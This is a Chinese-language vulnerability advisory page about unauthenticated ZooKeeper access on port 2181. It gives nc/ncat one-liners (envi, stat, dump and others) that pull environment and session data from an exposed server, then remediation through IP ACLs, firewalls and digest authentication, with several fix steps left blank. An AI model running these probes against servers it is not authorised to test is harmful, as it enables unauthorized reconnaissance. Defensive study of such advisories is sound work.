标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3020]   作者: 小螺号 发表于: [2022-03-02]

本文共 [304] 位读者顶过




ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

0x00 ZooKeeper 安装:

Zookeeper的默认开放端口是2181

[出自:jiwo.org]

0x01 漏洞验证:

执行以下命令即可远程获取该服务器的环境:
echo envi|nc 192.168.15.74 2181


直接连接:
./zkCli.sh -server ip:port

其他攻击获取信息

stat:列出关于性能和连接的客户端的统计信息。
echo stat |ncat 127.0.0.1 2181

ruok:测试服务器是否运行在非错误状态。
echo ruok |ncat 127.0.0.1 2181

reqs:列出未完成的请求。
echo reqs |ncat 127.0.0.1 2181

envi:打印有关服务环境的详细信息。
echo envi |ncat 127.0.0.1 2181

dump:列出未完成的会话和临时节点。
echo dump |ncat 127.0.0.1 2181

0x02 漏洞修复

禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码)

zookeeper有三个端口(可以修改),默认端口作用:

1、2181:对cline端提供服务
2、3888:选举leader使用
3、2888:集群内机器通讯使用(Leader监听此端口)

修复办法1 绑定指定IP访问 (推荐):

1、登陆zookeeper



2、查看当前权限:



3、添加可访问IP:



4、查看是否正常添加:


未授权也可以连接,但是查看节点时会报错"KeeperErrorCode = NoAuth for /",localhost都不行,必须填可访问IP,才能访问。

回退办法:
使用之前设置的IP进行访问:

设置为所有人可访问:


修复办法2 添加防火墙访问控制:

配置防火墙策略,只允许指定IP访问2181端口。
Linux 6:


Linux 7:


修复办法3 设置身份验证(需要改程序):

为ZooKeeper配置相应的访问权限。

1)增加一个认证用户
addauth digest 用户名:密码明文

 

setAcl /path auth:用户名:密码明文:权限
setAcl /path digest:用户名:密码密文:权限

3)查看Acl设置





评论

暂无
发表评论
 返回顶部 
热度(304)
 关注微信